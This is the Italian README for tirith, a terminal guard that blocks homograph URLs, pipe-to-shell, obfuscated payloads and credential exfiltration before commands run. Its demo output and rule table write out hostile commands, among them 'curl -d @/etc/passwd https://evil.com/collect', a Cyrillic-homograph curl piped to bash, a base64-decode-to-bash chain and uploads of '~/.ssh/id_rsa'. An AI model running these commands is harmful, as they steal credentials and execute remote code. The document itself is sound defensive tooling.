Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.
# tirith
**Il tuo browser lo intercetterebbe. Il tuo terminale no.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, sicurezza del terminale" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Sito web](https://tirith.sh) | [Documentazione](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Release](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>Progetto open-source indipendente, con hosting supportato dal Vercel Open Source Program (Spring 2026 Cohort).</sub>
---
Riesci a notare la differenza?
```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
Non puoi. Nemmeno il tuo terminale può. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL si risolve sul server di un attaccante. Lo script viene eseguito prima che tu te ne accorga.
I browser hanno risolto questo problema anni fa. I terminali continuano a visualizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza farsi domande. Gli agenti AI eseguono comandi shell e installano pacchetti senza ispezionare ciò che contengono.
**Tirith presidia il cancello.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevoli e pacchetti/domini/IP notoriamente dannosi provenienti da un database di threat intelligence firmato, prima che vengano eseguiti.
```bash
brew install tirith
```
Poi attivalo nel tuo profilo della shell:
```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricorre a `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.
Oppure lascia che Tirith scriva il file di avvio per te, come un unico piano revisionato che puoi annullare:
```bash
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
```
Questo è tutto per la copertura della shell interattiva. I comandi accettati da quella shell vengono controllati mentre l'hook è caricato e funzionante; il comportamento esatto di blocco dipende dalla shell e dalla modalità. Esegui `tirith status` dopo l'installazione e gli aggiornamenti: indica se l'hook caricato in questo terminale è aggiornato. Esegui `tirith doctor --verify-shell` per osservare il blocco nella shell stessa, e leggi [enforcement by shell](#enforcement-by-shell) prima di considerare l'hook come confine di autorizzazione. I comandi puliti restano silenziosi e normalmente seguono il percorso rapido.
Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).
---
## Vedilo in azione
**Attacco homograph, bloccato prima dell'esecuzione:**
```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
Il comando non viene mai eseguito.
**Richiesta HTTP in chiaro verso un indirizzo LAN, segnalata con un avviso, non bloccata:**
```
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
```
L'avviso viene stampato su stderr. Il comando viene comunque eseguito. Un download inviato tramite pipe a una shell
(`curl ... | sh`) non è un avviso: viene bloccato come `curl_pipe_shell`.
**Catena di decodifica ed esecuzione Base64, bloccata:**
```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
Rileva anche le catene di decodifica tramite wrapper sudo/env e PowerShell `-EncodedCommand`.
**Esfiltrazione di credenziali, bloccata:**
```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
Copre tutti i flag di upload di curl/wget, le variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`) e la sostituzione di comandi.
**File di skill malevolo, intercettato durante la scansione:**
```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
Analizza file JS/Python alla ricerca di payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.
**Comandi normali, invisibili:**
```
$ git status
$ ls -la
$ docker compose up -d
```
Niente. Zero output. Dimentichi che tirith è in esecuzione.
---
## Cosa rileva
**245 regole di rilevamento in 35 categorie.**
| Categoria | Cosa blocca |
|----------|--------------|
| **Attacchi homograph** | Caratteri simili cirillici/greci nei nomi host, domini punycode, etichette a script misti, TLD simili, domini confondibili, rilevamento di confondibili a livello di testo (caratteri alfanumerici matematici, stessa parola a script misti) |
| **Iniezione da terminale** | Sequenze di escape ANSI, override bidi, caratteri a larghezza zero, tag unicode, operatori matematici invisibili, selettori di variazione, riempitivi Hangul |
| **Difesa dalla steganografia** | Codifica con spazi bianchi invisibili (12 varianti di spazio Unicode), Mongolian Vowel Separator, caratteri Hangul Filler, sostituzione alfanumerica matematica, difese contro la steganografia testuale in stile st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, oltre a numerosi percorsi di wrapper, decodifica e indirezione |
| **Decodifica ed esecuzione Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, catene di decodifica tramite wrapper sudo/env |
| **Esfiltrazione di dati** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, caricamenti di file segreti del progetto (`.env`, `.env.production`, `secrets.yaml`), caricamenti di variabili d'ambiente nei corpi delle richieste (`$AWS_SECRET_ACCESS_KEY`), esfiltrazione tramite sostituzione di comando. Una credenziale in un header di richiesta (`-H "Authorization: Bearer $TOKEN"`) è trattata come autenticazione, come `--user` |
| **Scansione di file di codice** | Payload offuscati (`eval(atob(...))`), esecuzione dinamica di codice (`exec(b64decode(...))`), esfiltrazione di segreti tramite `fetch`/`requests.post` in file JS/Python |
| **Rilevamento credenziali** | Chiavi AWS, PAT GitHub, token Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocchi di chiavi private, oltre al rilevamento generico di segreti basato sull'entropia |
| **Comportamento post-compromissione** | Scraping della memoria dei processi (`/proc/*/mem`), escalation di privilegi remota su Docker, raccolta di file di credenziali, calibrato su strumenti post-compromissione TeamPCP e UNC1069 |
| **Sicurezza dei comandi** | Sovrascrittura di dotfile, estrazione di archivi in percorsi sensibili, accesso a endpoint di metadati cloud, accesso a reti private |
| **Trasporto non sicuro** | HTTP in chiaro inviato via pipe alla shell, `curl -k`, verifica TLS disabilitata, URL accorciati che nascondono le destinazioni |
| **Ambiente** | Hijacking del proxy, export di variabili d'ambiente sensibili, iniezione di codice tramite env, hijacking dell'interprete, iniezione shell tramite env |
| **Sicurezza dei file di configurazione** | Iniezione di configurazione, indicatori sospetti, unicode non-ASCII/invisibile nelle configurazioni, sicurezza dei server MCP (non sicuro/non attendibile/duplicato/permissivo) |
| **Minacce dell'ecosistema** | Typosquat tramite git clone, registry Docker non attendibili, installazioni pip/npm da URL, endpoint RPC web3, vet non configurato |
| **Sicurezza dei comandi di installazione** | Repository APT aggiunti da un download inviato via pipe, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (controlli delle firme disabilitati), `kubectl apply -f` su manifest remoti grezzi/accorciati, chart Helm da repository non attendibili, moduli Terraform da sorgenti remote non attendibili, `brew install`/`tap` da URL arbitrari |
| **Analisi dei percorsi** | Percorsi non-ASCII, omoglifi nei percorsi, doppia codifica |
| **Contenuto renderizzato** | Contenuto CSS/colore nascosto, attributi HTML nascosti, analisi del contenuto dei commenti (prompt injection a livello High, comandi distruttivi a livello Medium) |
| **Rilevamento cloaking** | Cloaking lato server (bot vs browser), contenuto nascosto negli appunti, testo nascosto nei PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, esclusioni di Windows Defender (`Add-MpPreference -Exclusion*`), download ed esecuzione inline `iex (iwr ...)` |
| **Difesa dall'output del terminale** | Scritture negli appunti OSC 52, prompt falsi, manipolazione di hyperlink e titolo OSC 8 / clear-screen, prompt injection all'interno dell'output di comandi o strumenti MCP (scansionato sia in forma grezza che deoffuscata, così vengono intercettate anche evasioni con caratteri invisibili, confondibili, spaziati, leetspeak e base64 / hex brevi), ed esfiltrazione di dati tramite output (URL beacon o direttive "leggi un segreto poi invialo") |
| **Contesto operativo** | Comandi distruttivi contro contesti cloud / k8s etichettati come prod e host SSH, `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, escalation sudo rischiosa, `docker run` privilegiato |
| **Workstation e persistenza** | File di credenziali con permessi permissivi e token in chiaro (`~/.ssh`, `~/.aws`, `.npmrc`), punti di ancoraggio per la persistenza (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` di git), ordinamento per dirottamento del PATH, provenienza degli eseguibili, alias rischiosi e ciclo di vita di variabili d'ambiente sensibili |
| **Raggio d'impatto e correlazione** | Eliminazioni che escono dal repository, eliminazioni di massa, esecuzione di file scaricati da fonti rischiose e catene di sessione come scrittura di segreti seguita da rete o eliminazione seguita da `git push --force` |
| **Fiducia, attestazione e provenienza** | Mancata corrispondenza di command-card firmate, accessi a honeytoken canary, mancata corrispondenza dell'host di origine degli incolla, dinieghi di policy per l'origine del chiamante (agente), deriva del lockfile MCP e deriva della configurazione AI rispetto a uno snapshot noto come sicuro |
| **Protezione dei comandi Web3** | Scritture on-chain da comandi Cast / Forge / Hardhat / Solana / Anchor (Alto quando lo stesso comando disabilita anche un controllo di sicurezza dichiarato), materiale di chiavi private, keypair o mnemoniche in chiaro sulla riga di comando e un endpoint RPC o firmatario di cui la policy `web3_guard` dell'operatore non si fida. Solo grammatica e policy: non viene letto alcuno stato della catena, non viene simulata alcuna transazione e nessun indirizzo viene valutato |
| **Esfiltrazione di wallet** | Materiale di wallet, keystore, wallet del browser e keypair Solana revisionato che fluisce verso un sink remoto dimostrato, inclusi passaggi di staging tramite archivi, base64, hex, compressori e cifratori e promozione degli operandi di `xargs` / `find -exec`. Una lettura solo in origine non è deliberatamente considerata un rilevamento |
| **Avvelenamento degli artefatti CI** | Un workflow raggiungibile da fork che carica un artefatto di build, consumato da un workflow privilegiato `workflow_run` vincolato all'esecuzione che lo ha attivato, che poi lo esegue, ne preleva le sorgenti, ne modifica il PATH, lo pubblica o lo distribuisce |
## Cosa NON protegge tirith
Tirith analizza la **struttura** dei comandi, del testo incollato e dei file prima
che vengano eseguiti. È un gate di pre-esecuzione, non una difesa runtime, e non
copre:
- **Sandboxing runtime generico:** gli hook di shell ordinari e `tirith check` avvisano
o bloccano; non isolano un comando dopo l'avvio. Il percorso esplicito
`capsule run --preset untrusted-project` fornisce un contenimento fail-closed
su host Linux nativi x86_64 e AArch64 supportati. L'esecuzione contenuta di `pkg install` è
attualmente disabilitata su ogni host.
- **Monitoraggio di rete post-esecuzione:** ciò che un processo fa sulla rete dopo
l'avvio è fuori ambito.
- **Rilevamento generico di malware / payload:** tirith non è un antivirus e non
detona un payload. Analizza la struttura e può confrontare indicatori esatti
e hash di artefatti/file dal database delle minacce firmato, ma un payload
sconosciuto non è dimostrato benigno dall'assenza di una corrispondenza. (`tirith run` controlla
la struttura di uno script scaricato; non è comunque analisi dinamica di malware.)
- **Un attaccante privilegiato root/admin:** chiunque sia già root o admin può aggirare
tirith banalmente. Difende da input ingannevoli, non da un attaccante che già
possiede la macchina.
- **Anti-debugging / anti-tampering:** tirith non resiste al reverse engineering
né protegge il proprio binario da un attaccante locale.
- **Analisi on-chain:** la guardia Web3 legge la grammatica dei comandi. Non legge
lo stato della catena, non simula una transazione, non risolve ENS, non assegna un punteggio a un indirizzo, non esegue l'audit di un
contratto né osserva un mempool.
- **Un firewall per artefatti npm:** tirith analizza la grammatica dei comandi npm e i fatti
sull'identità del registry, e può interrogare l'npm del progetto stesso per il suo stato di firma e
provenienza. [L'ispezione npm locale](https://github.com/sheeki03/tirith/blob/main/docs/npm-inspection.md) calcola l'hash dei byte esatti del tarball
fornito e riporta evidenze statiche delimitate senza scaricarlo, scriverne il contenuto su disco o eseguire codice del pacchetto. Questi report
non autorizzano un'installazione. `tirith pkg install` rimane disabilitato sia per npm che per Python su
ogni host in attesa della qualificazione dell'esecuzione con input privati.
- **Browser forensics o monitoraggio:** `tirith browser audit` è un audit di integrità esplicito,
one-shot e in sola lettura degli alberi sorgente delle estensioni. Non legge mai
cookie, cronologia, password salvate, storage, database di wallet o `Local
State`, non rimuove né mette in quarantena nulla e non ha alcun daemon.
- **Build riproducibili:** una ricevuta `attest` registra cosa contenevano due alberi
in un dato momento. Tirith non esegue la tua build e non può affermare che l'output provenga
dal sorgente. Una ricevuta di deployment è una misurazione puntuale, non
monitoraggio continuo.
Vedi [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) per il modello di minaccia completo e
i non-obiettivi espliciti, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) per un
registro capacità per capacità di ciò che tirith rileva, decide, applica,
contiene e attesta.
---
## Limitazioni note
- **Fragilità degli hook della shell:** la protezione dipende dal fatto che un hook della shell rimanga installato e attivo. Gli hook possono rompersi o degradarsi silenziosamente tra shell, versioni delle shell, framework di prompt e strumenti per la cronologia. Esegui `tirith doctor` per verificare lo stato attuale e presta attenzione alle degradazioni che producono solo avvisi.
- **Archiviazione temporanea piena o in sola lettura:** zsh e fish catturano l'input tramite un file temporaneo prima di invocare Tirith e falliscono in modo chiuso quando quel file non può essere creato. Un `TMPDIR` pieno o in sola lettura può quindi rifiutare ogni comando, e `TIRITH=0` non può recuperare perché il binario non viene mai raggiunto. Segui i passaggi di ripristino in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Funzionalità limitate alla piattaforma:** la modalità daemon, `tirith run`, `tirith fetch` e `tirith gateway run` sono interfacce Unix. `tirith run --no-exec` resta lì un flusso di ispezione, ma l'esecuzione remota di script dal vivo è solo per Linux e rifiuta prima del download su ogni altro host. Su Windows, `tirith gateway run` rifiuta prima di leggere la propria configurazione di esecuzione o di avviare il server upstream; `tirith gateway validate-config` resta disponibile. `tirith setup` è multipiattaforma, mentre ogni integrazione con l'host ha il proprio contratto di piattaforma (ad esempio Cline ha wrapper POSIX e Windows; l'hook bloccante di OpenHands è solo Unix).
- **Ambito di estrazione dei nomi dei pacchetti:** copre gli ecosistemi linguistici (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti delle distribuzioni (`apt`, `dnf`, `yum`, `pacman`).
- **Avvertenze sugli agenti AI:** l'intercettazione tramite hook della shell protegge solo i comandi che passano attraverso una shell interattiva con hook. Un agente che genera una shell non interattiva, chiama direttamente `exec` o viene eseguito senza l'hook caricato non è coperto da quel livello. La registrazione MCP è cooperativa a meno che le chiamate non siano instradate attraverso il gateway. Un hook pre-tool supportato può trattenere automaticamente un comando dell'host, ma solo quando quell'host lo ha caricato e rispettato; diversi host falliscono in modo aperto quando un processo hook va in errore. Verifica l'host effettivo, non solo la presenza di un file di configurazione.
- **Comportamento in caso di errore degli hook dell'host:** Grok Build, Cline e OpenHands consentono lo strumento quando il loro processo hook va in crash o va in timeout. L'adattatore di Tirith nega sui propri errori per impostazione predefinita, e su Linux e macOS gli hook generati negano quando il loro interprete Python fissato è stato spostato (a meno che `TIRITH_FAIL_OPEN=1`), ma Tirith non può far sì che un host rispetti un processo che non è tornato. Su Windows, i comandi hook di Gemini CLI e Kiro eseguono direttamente il Python fissato, quindi un interprete spostato o rimosso li fa fallire in modo aperto finché non viene eseguito di nuovo `tirith setup`. Riesegui il setup se un interprete fissato viene spostato e verifica l'host reale dopo ogni aggiornamento.
- **Prime Agent IPython è estrazione a livello di sorgente:** la protezione copre le escape/magie della shell e le forme comuni di `os`, `subprocess` e `pty.spawn`, ma non è una sandbox del runtime Python. Un wrapper definito in una cella precedente, la riflessione come `getattr`/`__import__`, o un pacchetto di terze parti che genera un processo possono sfuggire a ciò che un lexer del sorgente può dimostrare.
- **Custom-DLP e output macchina:** ampi `dlp_custom_patterns` possono attualmente riscrivere valori stringa di proprietà del protocollo in proiezioni JSON/MCP redatte ricorsivamente, inclusi identificatori generati o metadati di ricevuta. Evita pattern che possono corrispondere a valori strutturali quando consumi output firmati o stabili per la macchina; questo richiede una redazione consapevole dei campi prima del rilascio.
- **Approvazione dell'installazione non presidiata:** `tirith install --yes` è accettato come canale `require_approval` non presidiato del gate delle attività del gestore di pacchetti. È un flag esplicito dell'operatore, non la prova di una conferma umana su TTY. Usa una policy di attività bloccante dove l'esecuzione non presidiata deve essere impossibile.
- **Binding MCP interpretato:** il binding esatto del server interpretato calcola l'hash dell'albero del repository entro limiti fissi invece di scoprire una vera chiusura delle dipendenze, quindi alberi di grandi dimensioni, symlink o file speciali possono rifiutare l'avvio. Rivalida prima dello spawn ma non esegue gli input dell'interprete da sealed
descrittori revisionati; la mutazione concorrente da parte dello stesso utente rimane una lacuna tra verifica e caricamento.
- **Copertura del task-gate:** l'inferenza degli effetti dei task modella la grammatica della shell Web3 e nient'altro, quindi quasi ogni normale comando SHELL viene segnalato come INCOMPLETE. `task_gate.mode: enforce` con `action_incomplete_analysis: block` li rifiuta ai cinque confini che inviano un envelope di shell. Rifiuta inoltre le azioni narrative che le chiamate agli strumenti MCP non possono modellare dal gateway, `tirith verify-self`, `tirith update --dry-run` e l'invio dell'aggiornamento ThreatDB della dashboard. Non cambia nulla nelle scritture di configurazione, in `tirith fetch`, o in un vero `tirith update` o rollback, che vengono sempre valutati come completi. `warn` è il valore predefinito. L'alternativa, `effects_denied_for_untrusted_sources`, nega l'effetto indicato a ogni chiamata presso ogni confine posseduto, inclusi i comandi digitati da te stesso, perché nessuna sorgente a quei confini viene mai considerata attendibile.
- **Il contenimento del progetto richiede i controlli nativi di Linux:** `tirith capsule run --preset untrusted-project` supporta Linux nativo x86_64 e AArch64 con Landlock e seccomp utilizzabili. Gli host privi di uno dei due controlli rifiutano prima che qualsiasi cosa venga copiata o avviata, senza alcun fallback degradato. L'esecuzione contenuta di `tirith pkg install` è disabilitata su ogni host in attesa della qualificazione degli input privati. L'allow-listing dei domini non è offerto da alcun backend.
- **Lacuna di esfiltrazione tramite shell annidata:** una lettura sensibile all'interno del corpo di una shell annidata il cui sink è all'esterno, come `bash -c "cat <wallet>" | curl -d @- <url>`, oggi non viene correlata. La stessa catena interamente dentro o interamente fuori dal corpo `-c` viene rilevata.
- **Livelli di evidenza dell'esecuzione:** un avvio su Linux è confermato solo dopo che la transizione `exec` arrestata, l'aggiornamento durevole dello stato, la ripresa autorizzata e la prova del launcher terminale sono tutti completati. Una chiamata al gateway è confermata solo da un risultato correlato esatto. Le osservazioni della shell e le chiamate al gateway inoltrate che vanno in timeout o vengono annullate restano evidenze irrisolte conservative, mai esecuzione confermata. Le ricevute rigorose della shell sono disponibili per bash, zsh e fish interattivi; PowerShell resta solo in preflight. Il comportamento del launcher nativo Linux deve essere verificato dalla CI Linux o da un host Linux nativo; né la copertura portabile di sorgenti/unit test né una build macOS possono sostituirla.
- **Lacune di copertura Web3:** `forge create` non è ancora modellato sulle superfici del motore; diversi campi dichiarati di `web3_guard` vengono analizzati ma non applicati; e i binding Web3 delle command-card schema-2 non hanno ancora un percorso di authoring da CLI o di consumo live da parte del motore. Considera queste come lacune note, non come autorizzazione silenziosa.
## Threat intelligence
Tirith include un database locale firmato delle minacce per la reputazione di pacchetti, hostname e IP. Quando un hook della shell o `tirith check` rileva l'installazione di un pacchetto o un riferimento a un'infrastruttura sospetta, confronta tale input con il database prima dell'esecuzione del comando, invece di affidarsi solo a euristiche statiche.
**DB firmato** (generato dalla CI, verificato al download e al caricamento):
- Pacchetti noti come malevoli da [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastrutture IP malevole da [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquat confermati e baseline di pacchetti popolari da [ecosyste.ms](https://ecosyste.ms/)
- Catalogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) per la correlazione degli avvisi a runtime
ThreatDB v2 aggiunge valori SHA-256 esatti degli artefatti, hash dei file installati,
URL malevoli, appartenenza a campagne e tag comportamentali. L'indice firmato,
l'updater, il compiler e il loader supportano v1 e v2 durante la transizione graduale,
rifiutano il rollback delle sequenze, pubblicano in modo transazionale e conservano un
database firmato last-known-good quando un aggiornamento è incompleto o non valido. La
sorgente DigitalSide è implementata ma intenzionalmente inattiva finché la sua
freschezza e il suo contratto operativo non saranno approvati.
**Feed supplementari opzionali** (overlay locale all'utente):
- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) tramite una chiave di autenticazione abuse.ch
- Blocklist [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Elenco dei nodi di uscita Tor da [Tor Project](https://www.torproject.org/)
**Arricchimento live opzionale** durante `tirith check` e la modalità daemon:
- Ricerche di avvisi su [OSV.dev](https://osv.dev/) (Google OSS)
- Segnali di salute dei pacchetti da [deps.dev](https://deps.dev/) (Google OSS) e dati sui maintainer da [ecosyste.ms](https://ecosyste.ms/)
- Reputazione degli URL tramite [Google Safe Browsing](https://safebrowsing.google.com/) con la propria chiave API
```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
Per impostazione predefinita, gli hook della shell e `tirith check` attivano un controllo di aggiornamento economico in background ogni 24 ore. La modalità daemon mantiene lo stesso percorso di arricchimento attivo in background.
`threat-db explain` accetta un dominio, un nome di pacchetto (`name`, `ecosystem:name` o `name@version`) oppure un indirizzo IPv4. Il binario non conserva alcuna cronologia per voce, quindi `threat-db diff` riporta le variazioni di categoria e di conteggio per singola fonte tra snapshot, non le voci esatte modificate. Ogni comando `threat-db` accetta `--format json`; `threatdb` è un alias.
### Assegnazione del punteggio di rischio dei pacchetti
`tirith package risk <ecosystem> <name>` assegna un punteggio al rischio di supply-chain / manutentore di un pacchetto nello stesso modo in cui `tirith score` assegna un punteggio a un URL, ovvero una **somma deterministica e completamente spiegabile di fattori denominati**, senza modello e senza pesi appresi. `tirith package explain <ecosystem> <name>` aggiunge la derivazione fattore per fattore; entrambi accettano `--format json`.
```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**Offline per impostazione predefinita.** Senza flag, ogni segnale è locale, senza alcuna chiamata di rete: (1) **nome rispetto ai pacchetti popolari**: noto-popolare, sconosciuto, o un quasi-omonimo con una modifica di un carattere rispetto a un nome popolare (la classica forma typosquat/slopsquat), dal set `popular` del database locale delle minacce; (2) **typosquat malevolo noto**: una corrispondenza esatta nell'indice `typosquat` del DB delle minacce; (3) **script di installazione / ciclo di vita** e (4) **blob binari inclusi**, rilevati solo quando il contenuto del pacchetto è disponibile localmente (sotto `node_modules` / `site-packages`, o tramite `--path`). tirith **non scarica mai** il pacchetto.
**`--online` aggiunge la provenienza dal registry.** Consulta il registry del pacchetto (npm, PyPI o crates.io) per altri sei fattori nello *stesso* modello a somma di fattori: età del pacchetto/versione, un pacchetto affermato senza proprietari, un picco anomalo di versioni, download molto bassi, un repository sorgente mancante e stato yanked/deprecato. È l'unico percorso in cui `package risk` stesso raggiunge la rete; `tirith check` e la modalità daemon hanno un percorso separato di arricchimento runtime controllato dalle policy. `--offline` / `TIRITH_OFFLINE` forzano questo scorer offline in ogni caso. I fallimenti ricadono sul punteggio offline con un onesto `api signals: unavailable`, e le risposte vengono messe in cache con un TTL così che le esecuzioni ripetute non sovraccarichino i registry.
Il punteggio è consultivo e autonomo: `package risk` non è una regola di rilevamento e non modifica alcun verdetto, codice di uscita o log di audit.
### Scansione dell'ecosistema e rischio delle dipendenze
`tirith ecosystem scan [path]` è il complemento a livello di directory di `package risk`. Percorre un progetto, scopre ogni manifest delle dipendenze che comprende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e assegna un punteggio a **ogni dipendenza dichiarata** con lo stesso motore deterministico a fattori `package_risk`.
```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**Integra il rilevamento dello slopsquatting.** Lo *slopsquatting* è la registrazione di un nome plausibile ma falso che gli LLM tendono ad allucinare come dipendenza. `ecosystem scan` lo segnala solo quando **tutte e tre** le condizioni sono soddisfatte: il nome non è noto come reale o popolare, ha **la forma di un'allucinazione AI** (un prefisso di linguaggio come `python-` / `node-` più token descrittivi, una serie di riempitivi generici come `helper` / `utils` / `client`, oppure un nome insolitamente lungo), **e** si trova vicino a un nome reale popolare (una quasi-collisione a una modifica, oppure incorpora un nome popolare come parola). Richiedere tutte e tre mantiene bassi i falsi positivi: un onesto `data-utils` senza un ancoraggio popolare non viene segnalato.
---
[Read more](https://github.com/sheeki03/tirith)